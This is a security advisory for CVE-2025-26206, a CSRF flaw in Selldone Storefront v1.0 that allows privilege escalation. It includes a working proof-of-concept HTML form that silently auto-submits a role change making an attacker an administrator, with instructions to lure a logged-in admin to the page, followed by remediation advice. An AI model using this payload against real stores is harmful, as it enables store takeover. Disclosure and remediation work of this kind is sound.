
Documentation of CVE-2025-26206, a critical CSRF vulnerability in Sell Done Storefront v.1.0 enabling remote privilege escalation. Includes technical details, impact analysis, and remediation guidance.
Cross-Site Request Forgery (CSRF) leading to Privilege Escalation in Selldone Storefront v1.0
Identifier : CVE-2025-26206
Severity : 9.0 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
Weakness : CWE-352 (Cross-Site Request Forgery)
Target : Selldone Storefront v1.0 (/api/v1/shop/roles)
Impact : Full Account Takeover / Store Privilege Escalation
Credit : Sibhi Balamurugan (@xibhi)
Selldone Storefront v1.0 omits anti-CSRF token verification across mutating endpoints and fails to set strict SameSite restrictions on session cookies.
When an authenticated store owner or administrator visits an attacker-controlled web page, the victim's browser automatically attaches valid ambient session cookies to cross-origin requests. An unauthenticated attacker can coerce the administrator's browser into executing privileged operations, assigning arbitrary users to the administrator role.
Attacker Site Victim Browser (Admin) Selldone API
│ │ │
│── 1. Coerce visit (phishing/link) ─►│ │
│ │── 2. Auto-submits /shop/roles ────►│
│ │ (with ambient session cookie) │
│ │ │
▼ ▼ ▼
[ Malicious Page ] [ Elevates Attacker ] [ Full Store Takeover ]
Host the following payload on an external domain and lure an authenticated administrator to visit:
<!DOCTYPE html>
<html>
<body>
<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
<input type="hidden" name="user_id" value="attacker_id" />
<input type="hidden" name="role" value="administrator" />
</form>
<script>
document.getElementById("csrf").submit();
</script>
</body>
</html>
X-CSRF-TOKEN) on all non-idempotent endpoints (POST, PUT, DELETE, PATCH).SameSite=Lax or SameSite=Strict, paired with Secure and HttpOnly, on all authentication cookies.Origin or Sec-Fetch-Site indicate an untrusted cross-site origin.